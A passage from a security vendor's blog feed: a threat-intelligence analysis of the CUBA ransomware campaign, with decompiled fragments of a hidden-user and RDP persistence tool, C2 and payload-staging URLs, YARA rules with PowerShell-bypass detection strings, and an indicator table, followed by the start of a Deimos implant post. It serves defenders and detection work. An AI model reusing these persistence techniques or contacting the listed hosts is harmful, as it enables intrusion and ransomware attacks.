        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
</code></pre>
<p>Sets the SpecialAccounts\UserList regkey for this user to hide the user from login screens and the control panel.</p>
<pre><code> hide_accountName(username); regkey
</code></pre>
<p>Enables RDP by setting the <code>fDenyTSConnections</code> value to false in the Registry.</p>
<pre><code>return enable_RDP();
</code></pre>
<p>In total, add2.exe establishes local persistence via a hidden user and opening of a remote access service. This enables the REF9019 actor to connect back to this machine in case of discovery, patching of the vulnerability, or an incomplete eviction.</p>
<p>Additionally, VirusTotal indicated on the <a href="https://www.virustotal.com/graph/728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da">graph page</a> that this file has been hosted at <code>http://208.76.253[.]84</code>.</p>
<p>Of particular note, within the strings of add2.exe, we identified a unique program database file (PDB) named AddUser.pdb. PDB files are used to map elements of source code to the compiled program.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image8-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Searching in VirusTotal for the HEX value of F:\Source\WorkNew17\ (​​content:{463a5c536f757263655c576f726b4e65773137}), we identified another file named ad.exe which shared the same folder structure, and included another PDB file, CmdDLL.pdb.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image9-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>VirusTotal shows on the <a href="https://www.virustotal.com/graph/http%253A%252F%252F108.170.31.115%252Fadd.dll">graph page</a> that this file has been hosted at `<a href="http://108.170.31%5B.%5D115/add.dll%60%60">http://108.170.31[.]115/add.dll``</a>. While we did not observe add.dll, we believe they are related and have included the name, hash, and IP in our Observables table as the IP address (108.170.31[.]115) was also <a href="https://www.virustotal.com/gui/ip-address/108.170.31.115/relations">reported</a> distributing ra.exe (see the NetSupport section below).</p>
<p>Using this same search criteria, we were able to locate <a href="https://any.run/report/bd270853db17f94c2b8e4bd9fa089756a147ed45cbc44d6c2b0c78f361978906/e1579345-7571-4dcb-af4c-e74a4a81d804">three</a> <a href="https://any.run/report/2213db3f856cbed85a52cfa0275fa6eaba8e852a7e78449ab469d85d1945dc80/ed6077c3-6e2a-4f74-a761-cc0a354cc159">other</a> <a href="https://www.joesandbox.com/analysis/417560/1/html">files</a> with the same PDB debugging artifacts.<a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc">&lt;u&gt;SystemBC&lt;/u&gt;</a> is a socks5 backdoor with the ability to communicate over TOR.</p>
<h2>Remote Access Tools</h2>
<p>After establishing a beachhead, REF9019 dropped tooling to manage the post-exploitation phase of the attacks. Notably all tools were not present in each attack. It’s unclear if the decision to use one tool over another was merely driven by preference of individual operators, or if there was an operational factor that contributed to the decision.</p>
<h3>SystemBC</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc">&lt;u&gt;SystemBC&lt;/u&gt;</a> is a socks5 backdoor with the ability to communicate over TOR.</p>
<p>It was identified via malware_signature alerts that ran after SystemBC was injected into a svchost.exe process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image10-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Post processing of the compressed_bytes of the shellcode_thread alert exposed network indicators our sample utilized, including its command and control server (104.217.8[.]100:5050).</p>
<blockquote>
<p>Check out AhnLab’s ASEC blog for <a href="https://asec.ahnlab.com/en/33600/">detailed coverage of SystemBC’s features</a>.</p>
</blockquote>
<p>Let’s look at the data for the SystemBC binary that was collected from the process.Ext.memory_region.bytes_compressed field.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image15-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>If we run this through the strings command, it becomes a bit more readable. As mentioned above, the work done by the team at ASEC does a tremendous job of describing the SystemBC remote access tool, so we’ll focus on the atomic indicators that we observed.</p>
<pre><code>…truncated…
BEGINDATA
HOST1:104.217.8[.]100
HOST2:104.217.8[.]100
PORT1:5050
…truncated…
193.23.244[.]244
86.59.21[.]38
199.58.81[.]140
204.13.164[.]118
194.109.206[.]212
131.188.40[.]189
154.35.175[.]225
171.25.193[.]9
128.31.0[.]34
128.31.0[.]39
/tor/status-vote/current/consensus
/tor/server/fp/
…truncated…
</code></pre>
<p>The values of HOST1 and HOST2 are <a href="https://bazaar.abuse.ch/sample/6b36e8569a8b6150d760c3cfa1f23ff6072d2ab3bedd3633dc269ea6fd5fff9e/">&lt;u&gt;well-documented&lt;/u&gt;</a><a href="https://otx.alienvault.com/indicator/file/b9446c5f3fb7dd19e9f495d88431df2f0899ecb2">&lt;u&gt; infrastructure&lt;/u&gt;</a> for the SystemBC tool. The list of 10 IP addresses is Tor <a href="https://metrics.torproject.org/glossary.html#directory-authority">&lt;u&gt;directory authorities&lt;/u&gt;</a>. One IP address is selected from the list to get the <a href="https://metrics.torproject.org/glossary.html#consensus">&lt;u&gt;consensus data&lt;/u&gt;</a> for the Tor network. Then it will start Tor communications based on the settings it received (as previously reported by ASEC).</p>
<p>While we were not able to identify if Tor traffic was executed, this could have been a clandestine way to exfiltrate sensitive data.</p>
<h3>GoToAssist</h3>
<p><a href="https://en.wikipedia.org/wiki/RescueAssist">&lt;u&gt;GoToAssist&lt;/u&gt;</a> is a remote desktop support application with some legitimate usage, but also known for its use in tech support scams.In this incident, it was used to download a malicious DLL to the newly created user’s downloads directory (C:\Users\Mysql\Downloads\94-79.dll). We were unable to collect this file and have not observed it later in the incident, however previous reporting has indicated use in CUBA campaigns of DLLs with similar naming conventions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image21-cuba-ransomware-elastic.png" alt="" /></p>
<h3>NetSupport</h3>
<p>NetSupport Manager is another client-server remote desktop management application. In this incident, NetSupport was named ra.exe and was written and executed from the C:\programdata\ directory by the previously exploited IIS worker process (w3wp.exe). ra.exe has been distributed by a previously identified IP address (see add2.exe section above).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image4-cuba-ransomware-elastic.png" alt="" /></p>
<p>Our sample is the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat">&lt;u&gt;NetSupportManager RAT&lt;/u&gt;</a> as indicated on <a href="https://www.virustotal.com/gui/file/5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378">&lt;u&gt;VirusTotal&lt;/u&gt;</a> and corroborates <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware">&lt;u&gt;prior reporting&lt;/u&gt;</a> of its usage with the CUBA Ransomware group.When analyzing the process data that we extracted from memory we can see that</p>
<h3>Cobalt Strike</h3>
<p>Cobalt Strike was used in these intrusions, we confirmed this while reviewing the value of the <a href="https://docs.elastic.co/en/integrations/endpoint">&lt;u&gt;Target.process.thread.Ext.start_address_bytes&lt;/u&gt;</a> (a few (typically 32) raw opcode bytes at the thread start address, hex-encoded). Upon doing this, we observed bytes commonly observed in Cobalt Strike payloads.</p>
<p>When analyzing the process data that we extracted from memory we can see that dhl.jpg (from mvnetworking[.]com) and temp.png (from bluetechsupply[.]com) are being used for command and control. This is corroborated by <a href="https://twitter.com/drb_ra/status/1482117406122201095">&lt;u&gt;previous &lt;/u&gt;</a><a href="https://www.darktrace.com/en/inside-the-soc/how-antigena-intercepted-and-delayed-a-cobalt-strike-intrusion/">&lt;u&gt;research&lt;/u&gt;</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image6-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image3-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Looking at the domains in Shodan ([<a href="https://www.shodan.io/search?query=mvnetworking.com">&lt;u&gt;1&lt;/u&gt;</a>][<a href="https://www.shodan.io/search?query=bluetechsupply.com">&lt;u&gt;2&lt;/u&gt;</a>]), we can see that they are both categorized as Cobalt Strike beacon C2 infrastructure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image25-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image13-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Both sites are hosted by a cloud provider, Hivelocity, Inc. We have requested the domains be taken down.</p>
<h3>BUGHATCH</h3>
<p>BUGHATCH is the name given to a Cuba Ransomware associated downloader by Mandiant in their blog on <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware">&lt;u&gt;UNC2596&lt;/u&gt;</a>. We detail the observed execution chain and indicators below.</p>
<p>BUGHATCH was launched via PowerShell script stagers in both cases. One execution was following the dropping of a malicious DLL to the Mysql user’s downloads folder (C:\Users\Mysql\Downloads\14931s.dll). Download URI for the next stage was found in the Target.process.Ext.memory_region.strings (<code>http://64.235.39[.]82/Agent32.bin</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image26-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>In the above example, we observed agsyst82.ps1 downloading Agent32.bin from 64.235.39[.]82, but were unable to collect the PowerShell script. However, while performing open-source research, we identified a PowerShell script on ANY.RUN that performed network connections to the same IP and URL (<code>http://64.235.39[.]82/Agent32.bin</code>). The script is named komar.ps1 in ANY.RUN’s analysis. We are associating these two PowerShell scripts and network activity together.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image2-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>The other PowerShell script was called by a malicious file, cps.exe. This PowerShell script is called komar2.ps1 and downloads Agent32.bin from 38.108.119[.]121.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image28-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>komar2.ps1 next attempts to inject itself into svchost.exe from C:\Windows\Sysnative\svchost.exe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image17-cuba-ransomware-elastic.png" alt="" /></p>
<blockquote>
<p>For context, the C:\Windows\Sysnative path is a legitimate Windows directory and used to allow 32-bit applications to access the System32 folder on a 64-bit version of Windows. This path has also been observed as a <a href="https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/">SpawnTo parameter</a> in Cobalt Strike process injection configurations.</p>
</blockquote>
<p>This new injected process again executes komar2.ps1 and includes a new PDB entry of F:\Source\Mosquito\Agent\x64\Release\Agent.pdb. As we discussed above, “komar” means “mosquito” in Polish and is a good indicator as a way to identify other related entities; we see “Mosquito” in the path of the PDB. While a weak association by itself, the PDB in this sample is located in F:\Source, which is the same location that we’d observed with F:\Source\WorkNew## above for add2.exe. By themselves, they are not a solid reference point between the two samples, but when compared together, they can be categorized as “interesting”.</p>
<p>Based on analysis of the Agent32.bin file, we believe that this is the BUGHATCH malware. BUGHATCH has been observed being used as a downloader in CUBA ransomware incidents. This aligns to how we observed Agent32.bin. BUGHATCH has been <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware">&lt;u&gt;covered in the UNC2596 blog&lt;/u&gt;</a> by the team at Mandiant.</p>
<h2>Credential Harvesting, Internal Reconnaissance, and Lateral Movement</h2>
<p>Credential harvesting was observed through process injection into the GoToAssistUnattendedUi.exe binaries. These appear to be the legitimate files for the Go To Assist suite. The credential harvesting was accomplished by using Meterpreter and Mimikatz.</p>
<h3>Meterpreter</h3>
<p>As we observed in the initial infection several months prior, Meterpreter was observed being used to collect the SAM database using the <a href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/#:~:text=SYSTEM%0Ameterpreter%20%3E-,hashdump,-The%20hashdump%20post">&lt;u&gt;hashdump module&lt;/u&gt;</a>. As previously, this was observed in the Target.process.Ext.memory_region.strings fields.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image18-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3>Mimikatz</h3>
<p>Similarly to the Meterpreter tool markings, we also observed <a href="https://attack.mitre.org/software/S0002/">&lt;u&gt;Mimikatz&lt;/u&gt;</a>. Mimikatz is an offensive security tool used to collect and inject passwords from compromised systems. It uses the <a href="https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords">&lt;u&gt;SEKURLSA::LogonPasswords&lt;/u&gt;</a> module to list all available provider credentials, and this was observed in the Target.process.Ext.memory_region.strings fields.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image22-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3>Zerologon Exploit</h3>
<p>Next the threat actors attempted to use a file called zero.exe, which is used to exploit the <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472">&lt;u&gt;Zerologon vulnerability&lt;/u&gt;</a> to escalate privileges. This file is referenced in <a href="https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/">&lt;u&gt;previous reporting&lt;/u&gt;</a> and is executed on a vulnerable domain controller to dump the NTLM hash for the Administrator. This is a common tactic for lateral movement and to deploy additional implants into the environment, such as Cobalt Strike.</p>
<h3>PsExec</h3>
<p><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">&lt;u&gt;PsExec&lt;/u&gt;</a> is a legitimate utility, part of the SysInternals suite of tools, used to interactively launch processes on remote systems. PsExec is a common tool for remote administration, both benign and malicious.</p>
<p>While we cannot validate how specifically PsExec was used because there was not an SMB parser on the infected hosts, we can see that PsExec was used to move files between the infected hosts. We cannot confirm that this was not normal administration by the local IT staff, but the only activity observed was between infected hosts and was within the time window of other confirmed malicious activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image5-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3>Using LOLBAS</h3>
<p><a href="https://lolbas-project.github.io/#">&lt;u&gt;Living off the land binaries, scripts, and libraries (LOLBAS)&lt;/u&gt;</a> is a commonly leveraged method to use native and benign tools for malicious purposes. This reduces attacker tools that need to be moved into the environment as well as to appear more like legitimate processes running in a targeted environment.</p>
<p>In one intrusion we observed PsExec being used to remotely copy files (see the PsExec section), however in another environment, we observed similar activity to move files using cmd.exe to move files from one host to another. We were unable to collect the files that were being moved for analysis, but they were a DLL and a Batch file named d478.dll and d478.bat, and the atomic indicators are stored in the Observations table.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image11-cuba-ransomware-elastic.jpg" alt="" /></p>
<h2>Data Exfiltration</h2>
<p>The CUBA group belongs to a variant of ransomware operators in that they use extortion as a mechanism to coerce payments from their victims.</p>
<p>In these situations, once initial access and a foothold is achieved, threat actors will identify potentially sensitive data and exfiltrate it off of the environment to use for threats of “name and shame”.</p>
<p>The CUBA group runs a website on the dark web where they release data from victims that do not pay. CUBA releases some data for free, and for others that are more lucrative, have a payment option.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image7-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image20-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image12-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>There are multiple ways that the victim data could have been exfiltrated for extortion, the presence of BUGHATCH, Meterpreter, and Cobalt Strike all have data movement capabilities.</p>
<h2>Defense Evasion and Actions on the Objective</h2>
<h3>DefenderControl.exe</h3>
<p>To prevent the detection of their malware, the threat actors used <a href="https://www.sordum.org/9480/defender-control-v2-1/">&lt;u&gt;Defender Control&lt;/u&gt;</a> as a way to disable Microsoft Defender, the native antivirus built into all Windows systems since Vista.</p>
<p>To ensure that Defender Control continued to run, the threat actor used svchost.exe to create a scheduled task.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image1-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3>CUBA Ransomware</h3>
<p>We detail the observed execution chain and indicators above, but please see Elastic MARE’s detailed reverse engineering of this sample <a href="https://www.elastic.co/pt/security-labs/cuba-ransomware-malware-analysis">here</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image223-cuba-ransomware-elastic.jpg" alt="" /></p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">&lt;u&gt;Diamond Model&lt;/u&gt;</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image224-cuba-ransomware-elastic.png" alt="" /></p>
<h2>Observed Adversary Tactics and Techniques</h2>
<h3>Tactics</h3>
<p>Using the MITRE ATT&amp;CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>Initial access</li>
<li>Persistence</li>
<li>Privilege escalation</li>
<li>Defense evasion</li>
<li>Credential access</li>
<li>Discovery</li>
<li>Lateral movement</li>
<li>Command &amp; Control</li>
<li>Exfiltration</li>
<li>Impact</li>
</ul>
<p>It should be noted that we did not observe the Collection tactic, but based on the evidence of Exfiltration and Impact, this would have been completed.</p>
<h3>Techniques / Sub Techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<p>As noted throughout this research, this covered multiple victims over a large period of time. The CUBA intrusion set has been reported using different techniques and sub techniques, but these are our specific observations.</p>
<p>Observed techniques/sub techniques.</p>
<ul>
<li>Exploit Public-Facing Application</li>
<li>Command and Scripting Interpreter - PowerShell, Windows Command Shell</li>
<li>Scheduled Task/Job - Scheduled Task</li>
<li>Boot or Logon Autostart Execution - Registry Run Keys/Startup Folder</li>
<li>Create Account - Local Account</li>
<li>OS Credential Dumping - LSA Secrets</li>
<li>Data Encrypted for Impact</li>
<li>Hide Artifact - Hidden Window</li>
<li>Masquerading - Match Legitimate Name or Location</li>
<li>Obfuscated Files or Information</li>
<li>Reflective Code Loading</li>
</ul>
<h2>Detection</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this BUGHATCH and CUBA ransomware activity.</p>
<pre><code>rule Windows_Trojan_Bughatch {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-09&quot;
        last_modified = &quot;2022-05-09&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;Bughatch&quot;
        threat_name = &quot;Windows.Trojan.Bughatch&quot;
        reference_sample = &quot;b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f&quot;
    strings:
        $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
        $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
        $b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
        $c1 = &quot;-windowstyle hidden -executionpolicy bypass -file&quot;
        $c2 = &quot;C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell.exe&quot;
        $c3 = &quot;ReflectiveLoader&quot;
        $c4 = &quot;\\Sysnative\\&quot;
        $c5 = &quot;TEMP%u.CMD&quot;
        $c6 = &quot;TEMP%u.PS1&quot;
        $c7 = &quot;\\TEMP%d.%s&quot;
        $c8 = &quot;NtSetContextThread&quot;
        $c9 = &quot;NtResumeThread&quot;
    condition:
        ($a1 or $a2 or $b1) or 6 of ($c*)
}

rule Windows_Ransomware_Cuba {
    meta:
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Ransomware&quot;
        family = &quot;Cuba&quot;
        threat_name = &quot;Windows.Ransomware.Cuba&quot;
        Reference_sample =
&quot;33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e&quot;

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
      $b1 = &quot;We also inform that your databases, ftp server and file server were downloaded by us to our     servers.&quot; ascii fullword
      $b2 = &quot;Good day. All your files are encrypted. For decryption contact us.&quot; ascii fullword
       $b3 = &quot;.cuba&quot; wide fullword

    condition:
        any of ($a*) or all of ($b*)
}
</code></pre>
<h2>Defensive Recommendations</h2>
<ul>
<li>
<p>Enable Elastic Security Memory and Ransomware protections</p>
</li>
<li>
<p>Review and ensure that you have deployed the latest Microsoft Security Updates</p>
</li>
<li>
<p>Maintain backups of your critical systems to aid in quick recovery</p>
</li>
<li>
<p>Attack surface reduction</p>
</li>
<li>
<p>Network segmentation</p>
</li>
</ul>
<h2>Observations</h2>
<p>Atomic indicators observed in our investigation.</p>
<p>|
| |</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference from blog</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>43f7d739f00c2fdc67f7ab6b976565a323a181fb6570ac3d261dff197f820165</td>
<td>SHA-256</td>
<td>afk.ttf</td>
<td></td>
</tr>
<tr>
<td>159.203.70[.]39</td>
<td>ipv4-addr</td>
<td>afk.ttf C2 IP</td>
<td></td>
</tr>
<tr>
<td>728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da</td>
<td>SHA-256</td>
<td>add2.exe</td>
<td></td>
</tr>
<tr>
<td>208.76.253[.]84</td>
<td>ipv4-addr</td>
<td>add2.exe C2 IP</td>
<td></td>
</tr>
<tr>
<td>c24d7a93d6a5c33e673e6b0fd171701c4646e67cf2328f41739ef9b50302a02e</td>
<td>SHA-256</td>
<td>add.dll</td>
<td></td>
</tr>
<tr>
<td>108.170.31[.]115</td>
<td>ipv4-addr</td>
<td>add.dll C2 IP</td>
<td></td>
</tr>
<tr>
<td>62f1fbb6f151bcc67fe68e06031af00bc87ae7e4d9d0a6a60a31d140def09365</td>
<td>SHA-256</td>
<td>94-79.dll</td>
<td></td>
</tr>
<tr>
<td>5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378</td>
<td>SHA-256</td>
<td>ra.exe</td>
<td></td>
</tr>
<tr>
<td>9c71b67411b1432931b4b135dc945f6f7f9da3c295a7449f3ab8dcb56681fa70</td>
<td>SHA-256</td>
<td>cps.exe</td>
<td></td>
</tr>
<tr>
<td>e35632770a23d8e006e149b038c2ccf576c2da0998d830bbc7d7614dc5c22db5</td>
<td>SHA-256</td>
<td>14931s.dll</td>
<td></td>
</tr>
<tr>
<td>38.108.119[.]121</td>
<td>ipv4-addr</td>
<td>Agent32.bin stage location</td>
<td></td>
</tr>
<tr>
<td>64.235.39[.]82</td>
<td>ipv4-addr</td>
<td>Agent32.bin stage location</td>
<td></td>
</tr>
<tr>
<td>17edf458f7b8baae5ddef725e255d3a7bb6c960830503556f157655308895128</td>
<td>SHA-256</td>
<td>Agent32.bin (BUGHATCH)</td>
<td></td>
</tr>
<tr>
<td>2e6fffad384cd6ce93cc1cde97911063e640c1953dac0507cd5f5b4b3d21bb69</td>
<td>SHA-256</td>
<td>Agent32.bin (BUGHATCH)</td>
<td></td>
</tr>
<tr>
<td>144.172.83[.]13</td>
<td>ipv4-addr</td>
<td>Agent32.bin C2 IP</td>
<td></td>
</tr>
<tr>
<td>3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0</td>
<td>SHA-256</td>
<td>zero.exe</td>
<td></td>
</tr>
<tr>
<td>cdf2b3fbff2649a119051c63904476e70262bde2f6a9a7da8b7db13cbf257851</td>
<td>SHA-256</td>
<td>d478.dll</td>
<td></td>
</tr>
<tr>
<td>104.217.8[.]100</td>
<td>ipv4-addr</td>
<td>SystemBC infrastructure</td>
<td></td>
</tr>
<tr>
<td>193.23.244[.]244</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>86.59.21[.]38</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>199.58.81[.]140</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>204.13.164[.]118</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>194.109.206[.]212</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>131.188.40[.]189</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>154.35.175[.]225</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>171.25.193[.]9</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>128.31.0[.]34</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>128.31.0[.]39</td>
<td>ipv4-addr</td>
<td>SystemBC Tor directory authority</td>
<td></td>
</tr>
<tr>
<td>bluetechsupply[.]com/components/temp.png</td>
<td>url</td>
<td>Cobalt Strike C2 URL</td>
<td></td>
</tr>
<tr>
<td>bluetechsupply[.]com</td>
<td>domain-name</td>
<td>Cobalt Strike C2</td>
<td></td>
</tr>
<tr>
<td>217.79.243[.]148</td>
<td>ipv4-addr</td>
<td>Cobalt Strike C2</td>
<td></td>
</tr>
<tr>
<td>mvnetworking[.]com</td>
<td>domain-name</td>
<td>Cobalt Strike C2</td>
<td></td>
</tr>
<tr>
<td>mvnetworking[.]com/files/dhl.jpg</td>
<td>url</td>
<td>Cobalt Strike C2 URL</td>
<td></td>
</tr>
<tr>
<td>149.255.35[.]131</td>
<td>ipv4-addr</td>
<td>Cobalt Strike C2</td>
<td></td>
</tr>
<tr>
<td>ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4</td>
<td>SHA-256</td>
<td>defender.exe \ DefenderControl.exe</td>
<td></td>
</tr>
<tr>
<td>0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3</td>
<td>SHA-256</td>
<td>A.exe \ (CUBA RANSOMWARE)</td>
<td></td>
</tr>
<tr>
<td>b16e0d27e6fa24d3fe7c9ed9167474fbc1cde13ce047878bbd16548cfdf45be3</td>
<td>SHA-256</td>
<td>Anet.exe(CUBA RANSOMWARE)</td>
<td></td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/blog-thumb-hard-drives.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Going Coast to Coast - Climbing the Pyramid with the Deimos Implant]]></title>
            <link>https://www.elastic.co/pt/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant</link>
            <guid>going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant</guid>
            <pubDate>Wed, 08 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Deimos implant was first reported in 2020 and has been in active development; employing advanced analysis countermeasures to frustrate analysis. This post details the campaign TTPs through the malware indicators.]]></description>
            <content:encoded><![CDATA[<blockquote>
<ul>
<li>A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns</li>
<li>The malware employs multiple layers of complex obfuscation and encryption techniques</li>
<li>The malware has incorporated convincing lure files and digitally signed installation executables</li>
<li>The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments</li>
<li>A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure</li>
</ul>
</blockquote>
<p>The Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques.</p>
<p>These advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying this powerful implant.</p>
<p>This post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes.</p>
<h2>Overview</h2>
<p>The Elastic Intelligence &amp; Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the <a href="https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1">Jupyter Infostealer</a> malware (tracked elsewhere as <a href="https://redcanary.com/blog/yellow-cockatoo">Yellow Cockatoo</a>, and <a href="https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis">SolarMarker</a>). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures.</p>
